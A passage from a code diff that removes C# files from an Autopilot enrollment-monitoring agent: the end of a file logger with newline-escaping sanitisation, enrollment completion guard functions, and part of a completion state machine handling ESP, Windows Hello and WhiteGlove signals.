_logFilePath = Path.Combine(logDirectory, logFileName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the active log level at runtime (e.g. after remote config is applied).
|
||||
/// </summary>
|
||||
public void SetLogLevel(AgentLogLevel level)
|
||||
{
|
||||
_logLevel = level;
|
||||
}
|
||||
|
||||
public AgentLogLevel LogLevel => _logLevel;
|
||||
|
||||
public void Trace(string message)
|
||||
{
|
||||
if (_logLevel >= AgentLogLevel.Trace)
|
||||
Log("TRACE", message);
|
||||
}
|
||||
|
||||
public void Verbose(string message)
|
||||
{
|
||||
if (_logLevel >= AgentLogLevel.Verbose)
|
||||
Log("VERBOSE", message);
|
||||
}
|
||||
|
||||
public void Debug(string message)
|
||||
{
|
||||
if (_logLevel >= AgentLogLevel.Debug)
|
||||
Log("DEBUG", message);
|
||||
}
|
||||
|
||||
public void Info(string message)
|
||||
{
|
||||
Log("INFO", message);
|
||||
}
|
||||
|
||||
public void Warning(string message)
|
||||
{
|
||||
Log("WARN", message);
|
||||
}
|
||||
|
||||
public void Error(string message, Exception ex = null)
|
||||
{
|
||||
var fullMessage = ex != null ? $"{message} - {ex}" : message;
|
||||
Log("ERROR", fullMessage);
|
||||
}
|
||||
|
||||
private void Log(string level, string message)
|
||||
{
|
||||
try
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
var timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.fff");
|
||||
var logEntry = $"[{timestamp}] [{level}] {SanitizeLogMessage(message)}";
|
||||
|
||||
File.AppendAllText(_logFilePath, logEntry + Environment.NewLine);
|
||||
|
||||
if (EnableConsoleOutput)
|
||||
{
|
||||
try { Console.WriteLine(logEntry); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Swallow logging errors to prevent crashes
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sanitizes log messages to prevent log injection attacks.
|
||||
/// Escapes control characters that could forge log entries.
|
||||
/// Redaction patterns can be added here later as needed.
|
||||
/// </summary>
|
||||
private static string SanitizeLogMessage(string message)
|
||||
{
|
||||
if (string.IsNullOrEmpty(message)) return message;
|
||||
|
||||
// Escape newlines and carriage returns to prevent log injection
|
||||
message = message.Replace("\r", "\\r").Replace("\n", "\\n");
|
||||
|
||||
return message;
|
||||
}
|
||||
}
|
||||
}
|
||||
-96
@@ -1,96 +0,0 @@
|
||||
using System;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Pure-function guards for enrollment completion decisions.
|
||||
/// Extracted 1:1 from the lock block in TryEmitEnrollmentComplete() for testability.
|
||||
/// Each method mirrors the exact condition evaluated in CompletionLogic.cs.
|
||||
/// </summary>
|
||||
internal static class CompletionGuards
|
||||
{
|
||||
/// <summary>
|
||||
/// Guard 1: Hello resolution check.
|
||||
/// Hello is considered resolved when:
|
||||
/// - No EspAndHelloTracker exists (no Hello tracking)
|
||||
/// - Hello has already completed (success, skip, or timeout)
|
||||
/// - Hello policy is not configured (Hello disabled)
|
||||
/// - Deployment is device-only (no interactive user session)
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(),
|
||||
/// line: helloResolved = _espAndHelloTracker == null || ...IsHelloCompleted || !...IsPolicyConfigured || isDeviceOnly
|
||||
/// </remarks>
|
||||
public static bool IsHelloResolved(bool hasTracker, bool isHelloCompleted,
|
||||
bool isPolicyConfigured, bool isDeviceOnly)
|
||||
{
|
||||
return !hasTracker
|
||||
|| isHelloCompleted
|
||||
|| !isPolicyConfigured
|
||||
|| isDeviceOnly;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Guard 2: ESP gate for desktop-based completion sources.
|
||||
/// Blocks completion when:
|
||||
/// - Source is desktop_arrival or desktop_hello
|
||||
/// - Enrollment type is v1 (not WDP)
|
||||
/// - ESP has been seen but has NOT exited yet
|
||||
/// Rationale: In v1 enrollments with active ESP, desktop presence alone is
|
||||
/// NOT sufficient to complete (AccountSetup may still be running).
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(),
|
||||
/// line: espGateBlocked = (source == "desktop_arrival" || source == "desktop_hello") && enrollmentType != "v2" && espEverSeen && !espFinalExitSeen
|
||||
/// </remarks>
|
||||
public static bool IsEspGateBlocking(string source, string enrollmentType,
|
||||
bool espEverSeen, bool espFinalExitSeen)
|
||||
{
|
||||
return (source == "desktop_arrival" || source == "desktop_hello")
|
||||
&& enrollmentType != "v2"
|
||||
&& espEverSeen
|
||||
&& !espFinalExitSeen;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Guard 3: Hybrid join reboot gate.
|
||||
/// In hybrid join, ESP may exit for a mid-enrollment reboot (domain user login required).
|
||||
/// Blocks esp_hello_composite unless we have stronger confirmation:
|
||||
/// - IME user session completed (imePatternSeenUtc has value)
|
||||
/// - Agent restarted after ESP exit (agentStartTimeUtc > espFinalExitUtc)
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(),
|
||||
/// lines: if (_isHybridJoin && source == "esp_hello_composite") { ... hybridRebootGateBlocked = !hasImeCompletion && !agentRestartedAfterEspExit; }
|
||||
/// </remarks>
|
||||
public static bool IsHybridRebootGateBlocking(bool isHybridJoin, string source,
|
||||
DateTime? imePatternSeenUtc, DateTime? espFinalExitUtc, DateTime agentStartTimeUtc)
|
||||
{
|
||||
if (!isHybridJoin || source != "esp_hello_composite")
|
||||
return false;
|
||||
|
||||
bool hasImeCompletion = imePatternSeenUtc.HasValue;
|
||||
bool agentRestartedAfterEspExit = espFinalExitUtc.HasValue
|
||||
&& agentStartTimeUtc > espFinalExitUtc.Value;
|
||||
|
||||
return !hasImeCompletion && !agentRestartedAfterEspExit;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deployment classification: device-only check.
|
||||
/// A deployment is device-only when:
|
||||
/// - Self-Deploying mode (autopilotMode == 1), OR
|
||||
/// - SkipUserStatusPage == true AND no user has AAD-joined
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Source: EnrollmentTracker.cs, property IsDeviceOnlyDeployment
|
||||
/// line: IsSelfDeploying || (_skipUserStatusPage == true && !_aadJoinedWithUser)
|
||||
/// </remarks>
|
||||
public static bool IsDeviceOnlyDeployment(int? autopilotMode, bool? skipUserStatusPage,
|
||||
bool aadJoinedWithUser)
|
||||
{
|
||||
bool isSelfDeploying = autopilotMode == 1;
|
||||
return isSelfDeploying || (skipUserStatusPage == true && !aadJoinedWithUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
-820
@@ -1,820 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Read-only snapshot of all state needed for guard evaluation and transition decisions.
|
||||
/// Populated under lock in the caller, consumed outside lock by the state machine.
|
||||
/// Preserves the existing thread-safety pattern from EnrollmentTracker.
|
||||
/// </summary>
|
||||
internal class CompletionContext
|
||||
{
|
||||
// Deployment classification
|
||||
public string EnrollmentType { get; set; }
|
||||
public int? AutopilotMode { get; set; }
|
||||
public bool? SkipUserStatusPage { get; set; }
|
||||
public bool AadJoinedWithUser { get; set; }
|
||||
public bool IsHybridJoin { get; set; }
|
||||
|
||||
// Computed deployment classification (mirrors IsDeviceOnlyDeployment property)
|
||||
public bool IsDeviceOnly => CompletionGuards.IsDeviceOnlyDeployment(
|
||||
AutopilotMode, SkipUserStatusPage, AadJoinedWithUser);
|
||||
|
||||
// Signal state
|
||||
public bool EspEverSeen { get; set; }
|
||||
public bool EspFinalExitSeen { get; set; }
|
||||
public bool DesktopArrived { get; set; }
|
||||
public string LastEspPhase { get; set; }
|
||||
public bool DeviceInfoCollected { get; set; }
|
||||
|
||||
// Hello state (from EspAndHelloTracker)
|
||||
public bool HasHelloTracker { get; set; }
|
||||
public bool IsHelloCompleted { get; set; }
|
||||
public bool IsHelloPolicyConfigured { get; set; }
|
||||
public bool HasUnresolvedEspCategories { get; set; }
|
||||
public bool HasAccountSetupActivity { get; set; }
|
||||
|
||||
// WhiteGlove detection signals
|
||||
public bool WhiteGloveStartDetected { get; set; }
|
||||
public bool HasSaveWhiteGloveSuccessResult { get; set; }
|
||||
public bool ShellCoreWhiteGloveSuccess { get; set; }
|
||||
public bool IsFooUserDetected { get; set; }
|
||||
|
||||
// Legacy helper — kept for backwards-compat with places that only need a binary
|
||||
// "there is some WG evidence" read. Actual classification now goes through
|
||||
// <see cref="WhiteGloveClassifier"/>.
|
||||
public bool IsWhiteGloveActive => HasSaveWhiteGloveSuccessResult;
|
||||
|
||||
// Computed: has the agent restarted since ESP final exit? Typical WhiteGlove Part 1
|
||||
// boundary marker (the restart between DeviceSetup-complete and user sign-in).
|
||||
public bool AgentRestartedAfterEspExit
|
||||
=> EspFinalExitUtc.HasValue && AgentStartTimeUtc > EspFinalExitUtc.Value;
|
||||
|
||||
// Timing
|
||||
public DateTime AgentStartTimeUtc { get; set; }
|
||||
public DateTime? EspFinalExitUtc { get; set; }
|
||||
public DateTime? ImePatternSeenUtc { get; set; }
|
||||
|
||||
// Trigger metadata
|
||||
public string Source { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Result of a state machine transition. Contains the new state and metadata
|
||||
/// about what actions the caller should take (emit events, start timers, etc.).
|
||||
/// The state machine itself is side-effect-free — all actions are communicated
|
||||
/// via this result object to preserve the lock-free emission pattern.
|
||||
/// </summary>
|
||||
internal class TransitionResult
|
||||
{
|
||||
public static readonly TransitionResult NoTransition = new TransitionResult
|
||||
{
|
||||
Transitioned = false,
|
||||
NewState = EnrollmentCompletionState.Idle
|
||||
};
|
||||
|
||||
public bool Transitioned { get; set; }
|
||||
public EnrollmentCompletionState NewState { get; set; }
|
||||
public EnrollmentCompletionState PreviousState { get; set; }
|
||||
public string CompletionSource { get; set; }
|
||||
|
||||
// Action flags — caller executes these OUTSIDE lock
|
||||
public bool ShouldEmitEnrollmentComplete { get; set; }
|
||||
public bool ShouldEmitEnrollmentFailed { get; set; }
|
||||
public bool ShouldEmitWhiteGloveComplete { get; set; }
|
||||
public bool ShouldStartHelloWaitTimer { get; set; }
|
||||
public bool ShouldStartHelloSafetyTimer { get; set; }
|
||||
public bool ShouldStartEspSettleTimer { get; set; }
|
||||
public bool ShouldStartDeviceOnlyEspTimer { get; set; }
|
||||
public bool ShouldStartDeviceOnlySafetyTimer { get; set; }
|
||||
public bool ShouldForceMarkHelloCompleted { get; set; }
|
||||
public bool ShouldResetEspForResumption { get; set; }
|
||||
public bool ShouldPersistState { get; set; }
|
||||
public string FailureType { get; set; }
|
||||
public string DeferredSource { get; set; }
|
||||
|
||||
// Signals to record
|
||||
public List<string> SignalsToRecord { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Explicit state machine for enrollment completion logic.
|
||||
/// Replaces the implicit boolean-flag-based state tracking in CompletionLogic.cs.
|
||||
///
|
||||
/// Thread safety: The ProcessTrigger method is thread-safe. State reads and transitions
|
||||
/// happen under a single lock (microsecond-level critical sections). All side effects
|
||||
/// (event emission, timer management) are communicated via TransitionResult and executed
|
||||
/// by the caller OUTSIDE the lock — identical pattern to the original code.
|
||||
///
|
||||
/// This class is intentionally side-effect-free: it computes state transitions and
|
||||
/// returns action flags. The caller (EnrollmentTracker) owns the actual side effects.
|
||||
/// </summary>
|
||||
internal class CompletionStateMachine
|
||||
{
|
||||
private readonly object _lock = new object();
|
||||
private EnrollmentCompletionState _currentState = EnrollmentCompletionState.Idle;
|
||||
private string _deferredSource;
|
||||
|
||||
// Signal state (mirrored from EnrollmentTracker fields)
|
||||
private bool _espEverSeen;
|
||||
private bool _espFinalExitSeen;
|
||||
private bool _desktopArrived;
|
||||
private bool _isWaitingForHello;
|
||||
private bool _isWaitingForEspSettle;
|
||||
|
||||
public EnrollmentCompletionState CurrentState
|
||||
{
|
||||
get { lock (_lock) { return _currentState; } }
|
||||
}
|
||||
|
||||
// Expose internal state for shadow-mode comparison and persistence
|
||||
internal bool EspEverSeen { get { lock (_lock) { return _espEverSeen; } } }
|
||||
internal bool EspFinalExitSeen { get { lock (_lock) { return _espFinalExitSeen; } } }
|
||||
internal bool DesktopArrived { get { lock (_lock) { return _desktopArrived; } } }
|
||||
|
||||
/// <summary>
|
||||
/// Reconstructs state from persisted EnrollmentStateData (crash recovery).
|
||||
/// Must be called before Start() if recovering from a crash.
|
||||
/// </summary>
|
||||
public void RestoreState(EnrollmentCompletionState state, bool espEverSeen,
|
||||
bool espFinalExitSeen, bool desktopArrived, bool isWaitingForHello,
|
||||
bool isWaitingForEspSettle, string deferredSource)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_currentState = state;
|
||||
_espEverSeen = espEverSeen;
|
||||
_espFinalExitSeen = espFinalExitSeen;
|
||||
_desktopArrived = desktopArrived;
|
||||
_isWaitingForHello = isWaitingForHello;
|
||||
_isWaitingForEspSettle = isWaitingForEspSettle;
|
||||
_deferredSource = deferredSource;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reconstructs the explicit state from boolean flags (backwards compatibility).
|
||||
/// Used when loading state from an old-format persistence file that doesn't
|
||||
/// contain the CompletionState field.
|
||||
/// </summary>
|
||||
public static EnrollmentCompletionState ReconstructStateFromFlags(
|
||||
bool enrollmentCompleteEmitted, bool isWaitingForHello, bool isWaitingForEspSettle,
|
||||
bool espFinalExitSeen, bool desktopArrived, bool espEverSeen,
|
||||
bool isDeviceOnly)
|
||||
{
|
||||
if (enrollmentCompleteEmitted)
|
||||
return EnrollmentCompletionState.Completed;
|
||||
if (isWaitingForHello)
|
||||
return EnrollmentCompletionState.WaitingForHello;
|
||||
if (isWaitingForEspSettle)
|
||||
return EnrollmentCompletionState.WaitingForEspSettle;
|
||||
if (isDeviceOnly && espFinalExitSeen)
|
||||
return EnrollmentCompletionState.DeviceOnlyAwaitingCompletion;
|
||||
if (espFinalExitSeen && desktopArrived)
|
||||
return EnrollmentCompletionState.DesktopArrivedAwaitingHello;
|
||||
if (espFinalExitSeen)
|
||||
return EnrollmentCompletionState.EspExitedAwaitingCompletion;
|
||||
if (espEverSeen && desktopArrived)
|
||||
return EnrollmentCompletionState.DesktopArrivedEspBlocking;
|
||||
if (espEverSeen)
|
||||
return EnrollmentCompletionState.EspActive;
|
||||
if (desktopArrived)
|
||||
return EnrollmentCompletionState.DesktopArrivedAwaitingHello;
|
||||
return EnrollmentCompletionState.Idle;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Core state machine: processes a trigger against the current state and context.
|
||||
/// Returns a TransitionResult describing what happened and what actions to take.
|
||||
///
|
||||
/// The state transition happens atomically under lock.
|
||||
/// All side-effect instructions are in the returned result — caller executes them outside lock.
|
||||
/// </summary>
|
||||
public TransitionResult ProcessTrigger(string trigger, CompletionContext ctx)
|
||||
{
|
||||
if (string.IsNullOrEmpty(trigger))
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
lock (_lock)
|
||||
{
|
||||
// Sync internal signal flags from the authoritative tracker snapshot.
|
||||
// Monoton false→true: these signals are stable-once-seen. The single
|
||||
// intentional reset (HandleEspResumed clearing _espFinalExitSeen) runs
|
||||
// AFTER this sync inside its own switch case, so it remains the last writer.
|
||||
// Without this, the SM can drift from the tracker (e.g. when
|
||||
// _stateData.EspEverSeen=true was set in memory but Save() hadn't run
|
||||
// before a reboot — restore loads false and downstream guards misfire).
|
||||
if (ctx != null)
|
||||
{
|
||||
if (ctx.EspEverSeen) _espEverSeen = true;
|
||||
if (ctx.EspFinalExitSeen) _espFinalExitSeen = true;
|
||||
if (ctx.DesktopArrived) _desktopArrived = true;
|
||||
}
|
||||
|
||||
// Terminal states: no transitions allowed
|
||||
if (_currentState.IsTerminal())
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
switch (trigger)
|
||||
{
|
||||
case "esp_phase_changed":
|
||||
return HandleEspPhaseChanged(ctx);
|
||||
|
||||
case "esp_exiting":
|
||||
return HandleEspExiting(ctx);
|
||||
|
||||
case "desktop_arrived":
|
||||
return HandleDesktopArrived(ctx);
|
||||
|
||||
case "hello_completed":
|
||||
return HandleHelloCompleted(ctx);
|
||||
|
||||
case "ime_user_session_completed":
|
||||
return HandleImeUserSessionCompleted(ctx);
|
||||
|
||||
case "device_setup_provisioning_complete":
|
||||
return HandleDeviceSetupProvisioningComplete(ctx);
|
||||
|
||||
case "hello_safety_timeout":
|
||||
return HandleHelloSafetyTimeout(ctx);
|
||||
|
||||
case "esp_settle_timeout":
|
||||
return HandleEspSettleTimeout(ctx);
|
||||
|
||||
case "device_only_esp_timer_expired":
|
||||
return HandleDeviceOnlyEspTimerExpired(ctx);
|
||||
|
||||
case "device_only_safety_timeout":
|
||||
return HandleDeviceOnlySafetyTimeout(ctx);
|
||||
|
||||
case "esp_failure_terminal":
|
||||
return HandleEspFailureTerminal(ctx);
|
||||
|
||||
case "esp_failure_grace_expired":
|
||||
return HandleEspFailureTerminal(ctx);
|
||||
|
||||
case "whiteglove_complete":
|
||||
return HandleWhiteGloveComplete(ctx);
|
||||
|
||||
case "esp_resumed":
|
||||
return HandleEspResumed(ctx);
|
||||
|
||||
case "device_info_collected":
|
||||
return HandleDeviceInfoCollected(ctx);
|
||||
|
||||
default:
|
||||
return TransitionResult.NoTransition;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ===== Trigger Handlers (all called under _lock) =====
|
||||
|
||||
private TransitionResult HandleEspPhaseChanged(CompletionContext ctx)
|
||||
{
|
||||
if (_currentState != EnrollmentCompletionState.Idle
|
||||
&& _currentState != EnrollmentCompletionState.EspActive)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
_espEverSeen = true;
|
||||
_currentState = EnrollmentCompletionState.EspActive;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = prev != _currentState,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
SignalsToRecord = new List<string> { "esp_phase_changed" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleEspExiting(CompletionContext ctx)
|
||||
{
|
||||
// ESP exiting is only relevant when ESP has been seen
|
||||
if (!_espEverSeen)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
var result = new TransitionResult { PreviousState = prev, SignalsToRecord = new List<string>() };
|
||||
|
||||
// Path A: AccountSetup completed, desktop already arrived, or provisioning registry confirms AccountSetup
|
||||
bool accountSetupFromProvisioning = ctx.LastEspPhase == null && ctx.HasAccountSetupActivity;
|
||||
if (string.Equals(ctx.LastEspPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase)
|
||||
|| _desktopArrived
|
||||
|| accountSetupFromProvisioning)
|
||||
{
|
||||
_espFinalExitSeen = true;
|
||||
_currentState = EnrollmentCompletionState.EspExitedAwaitingCompletion;
|
||||
result.SignalsToRecord.Add("esp_final_exit");
|
||||
result.ShouldStartHelloWaitTimer = true;
|
||||
result.ShouldPersistState = true;
|
||||
|
||||
// Check if we can complete immediately
|
||||
if (CanComplete(ctx, "esp_hello_composite"))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "esp_hello_composite";
|
||||
}
|
||||
else if (ctx.IsHybridJoin && CompletionGuards.IsHybridRebootGateBlocking(
|
||||
ctx.IsHybridJoin, "esp_hello_composite",
|
||||
ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.HybridRebootGateBlocked;
|
||||
}
|
||||
}
|
||||
// Path B: Registry definitively says device-only
|
||||
else if (ctx.SkipUserStatusPage == true)
|
||||
{
|
||||
// WhiteGlove guard — canonical WhiteGloveClassifier decision (same rule as
|
||||
// HandleDeviceSetupProvisioningComplete and the EnrollmentTracker paths).
|
||||
// Weak confidence falls through to the regular device-only path by design.
|
||||
var wgSignals = WhiteGloveSignals.FromContext(ctx);
|
||||
var wgClassification = WhiteGloveClassifier.Classify(wgSignals);
|
||||
if (wgClassification.ShouldRouteToWhiteGlovePart1)
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.WhiteGloveCompleted;
|
||||
result.ShouldEmitWhiteGloveComplete = true;
|
||||
result.SignalsToRecord.Add("whiteglove_guard_esp_exiting");
|
||||
result.SignalsToRecord.Add($"wg_score:{wgClassification.Score}");
|
||||
result.SignalsToRecord.Add($"wg_confidence:{wgClassification.Confidence}");
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
_espFinalExitSeen = true;
|
||||
_currentState = EnrollmentCompletionState.DeviceOnlyAwaitingCompletion;
|
||||
result.SignalsToRecord.Add("device_only_esp_registry");
|
||||
result.ShouldStartHelloWaitTimer = true;
|
||||
result.ShouldPersistState = true;
|
||||
|
||||
if (CanComplete(ctx, "device_only_esp_registry"))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "device_only_esp_registry";
|
||||
}
|
||||
else
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.DeviceOnlySafetyWait;
|
||||
result.ShouldStartDeviceOnlySafetyTimer = true;
|
||||
}
|
||||
}
|
||||
// Path C: Unknown — start device-only detection timer
|
||||
else
|
||||
{
|
||||
result.ShouldStartDeviceOnlyEspTimer = true;
|
||||
// State stays as-is (EspActive or DesktopArrivedEspBlocking)
|
||||
}
|
||||
|
||||
result.Transitioned = prev != _currentState;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
private TransitionResult HandleDesktopArrived(CompletionContext ctx)
|
||||
{
|
||||
if (_desktopArrived)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
_desktopArrived = true;
|
||||
|
||||
var result = new TransitionResult
|
||||
{
|
||||
PreviousState = prev,
|
||||
ShouldPersistState = true,
|
||||
SignalsToRecord = new List<string> { "desktop_arrived" }
|
||||
};
|
||||
|
||||
// SkipUserStatusPage handling: if ESP seen and SkipUser=true but no final exit yet
|
||||
if (_espEverSeen && ctx.SkipUserStatusPage == true && !_espFinalExitSeen)
|
||||
{
|
||||
_espFinalExitSeen = true;
|
||||
result.SignalsToRecord.Add("desktop_arrived_skip_user");
|
||||
}
|
||||
|
||||
// Determine target state based on ESP status
|
||||
if (_espEverSeen && !_espFinalExitSeen)
|
||||
{
|
||||
// ESP still active — gate blocks
|
||||
_currentState = EnrollmentCompletionState.DesktopArrivedEspBlocking;
|
||||
}
|
||||
else
|
||||
{
|
||||
// No ESP blocking — can proceed toward completion
|
||||
_currentState = EnrollmentCompletionState.DesktopArrivedAwaitingHello;
|
||||
|
||||
// Start Hello wait timer if needed (no active ESP, not device-only)
|
||||
if (!ctx.IsDeviceOnly && ctx.HasHelloTracker && !ctx.IsHelloCompleted)
|
||||
{
|
||||
result.ShouldStartHelloWaitTimer = true;
|
||||
}
|
||||
|
||||
// Try immediate completion
|
||||
if (CanComplete(ctx, "desktop_arrival"))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "desktop_arrival";
|
||||
}
|
||||
}
|
||||
|
||||
result.Transitioned = prev != _currentState;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
private TransitionResult HandleHelloCompleted(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
var result = new TransitionResult
|
||||
{
|
||||
PreviousState = prev,
|
||||
SignalsToRecord = new List<string> { "hello_resolved" }
|
||||
};
|
||||
|
||||
if (_isWaitingForHello)
|
||||
{
|
||||
// IME path: was waiting for Hello
|
||||
_isWaitingForHello = false;
|
||||
if (CanCompleteWithHelloResolved(ctx, "ime_hello"))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "ime_hello";
|
||||
}
|
||||
}
|
||||
else if (_espFinalExitSeen)
|
||||
{
|
||||
// ESP composite path
|
||||
string source = "esp_hello_composite";
|
||||
if (ctx.IsHybridJoin && CompletionGuards.IsHybridRebootGateBlocking(
|
||||
ctx.IsHybridJoin, source,
|
||||
ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.HybridRebootGateBlocked;
|
||||
}
|
||||
else
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = source;
|
||||
}
|
||||
}
|
||||
else if (_desktopArrived)
|
||||
{
|
||||
// Desktop + Hello path
|
||||
string source = "desktop_hello";
|
||||
if (!CompletionGuards.IsEspGateBlocking(source, ctx.EnrollmentType,
|
||||
_espEverSeen, _espFinalExitSeen))
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = source;
|
||||
}
|
||||
}
|
||||
|
||||
result.Transitioned = prev != _currentState;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
private TransitionResult HandleImeUserSessionCompleted(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
var result = new TransitionResult
|
||||
{
|
||||
PreviousState = prev,
|
||||
SignalsToRecord = new List<string> { "ime_pattern" }
|
||||
};
|
||||
|
||||
// Device-only: skip Hello entirely
|
||||
if (ctx.IsDeviceOnly)
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "ime_pattern";
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
// Hello configured but not yet completed — wait
|
||||
if (ctx.HasHelloTracker && ctx.IsHelloPolicyConfigured && !ctx.IsHelloCompleted)
|
||||
{
|
||||
_isWaitingForHello = true;
|
||||
_currentState = EnrollmentCompletionState.WaitingForHello;
|
||||
result.ShouldStartHelloWaitTimer = true;
|
||||
result.ShouldStartHelloSafetyTimer = true;
|
||||
result.ShouldPersistState = true;
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
// ESP categories unresolved — wait for settle
|
||||
if (ctx.HasHelloTracker && ctx.HasUnresolvedEspCategories)
|
||||
{
|
||||
_isWaitingForEspSettle = true;
|
||||
_currentState = EnrollmentCompletionState.WaitingForEspSettle;
|
||||
result.ShouldStartEspSettleTimer = true;
|
||||
result.ShouldPersistState = true;
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
// All clear — complete
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "ime_pattern";
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
private TransitionResult HandleDeviceSetupProvisioningComplete(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
var result = new TransitionResult
|
||||
{
|
||||
PreviousState = prev,
|
||||
SignalsToRecord = new List<string> { "device_setup_provisioning_complete" }
|
||||
};
|
||||
|
||||
// WhiteGlove guard — canonical WhiteGloveClassifier decision (same rule as
|
||||
// EnrollmentTracker.CompletionLogic.OnDeviceSetupProvisioningComplete and
|
||||
// TryEmitEnrollmentComplete). Weak confidence falls through to the regular
|
||||
// self-deploying path by design (asymmetric-conservative routing).
|
||||
var wgSignals = WhiteGloveSignals.FromContext(ctx);
|
||||
var wgClassification = WhiteGloveClassifier.Classify(wgSignals);
|
||||
if (wgClassification.ShouldRouteToWhiteGlovePart1)
|
||||
{
|
||||
_currentState = EnrollmentCompletionState.WhiteGloveCompleted;
|
||||
result.ShouldEmitWhiteGloveComplete = true;
|
||||
result.SignalsToRecord.Add("whiteglove_guard_activated");
|
||||
result.SignalsToRecord.Add($"wg_score:{wgClassification.Score}");
|
||||
result.SignalsToRecord.Add($"wg_confidence:{wgClassification.Confidence}");
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
if (!ctx.IsDeviceOnly)
|
||||
{
|
||||
// Not device-only: check if device info collected yet
|
||||
if (!ctx.DeviceInfoCollected)
|
||||
{
|
||||
_deferredSource = "device_setup_provisioning_complete";
|
||||
_currentState = EnrollmentCompletionState.DeferredForDeviceInfo;
|
||||
result.DeferredSource = _deferredSource;
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
// Not device-only and device info collected: normal paths handle it
|
||||
return TransitionResult.NoTransition;
|
||||
}
|
||||
|
||||
// Device-only: mark ESP as seen and exited
|
||||
if (!_espEverSeen) _espEverSeen = true;
|
||||
if (!_espFinalExitSeen)
|
||||
{
|
||||
_espFinalExitSeen = true;
|
||||
result.SignalsToRecord.Add("self_deploying_esp_final_exit");
|
||||
}
|
||||
result.ShouldPersistState = true;
|
||||
|
||||
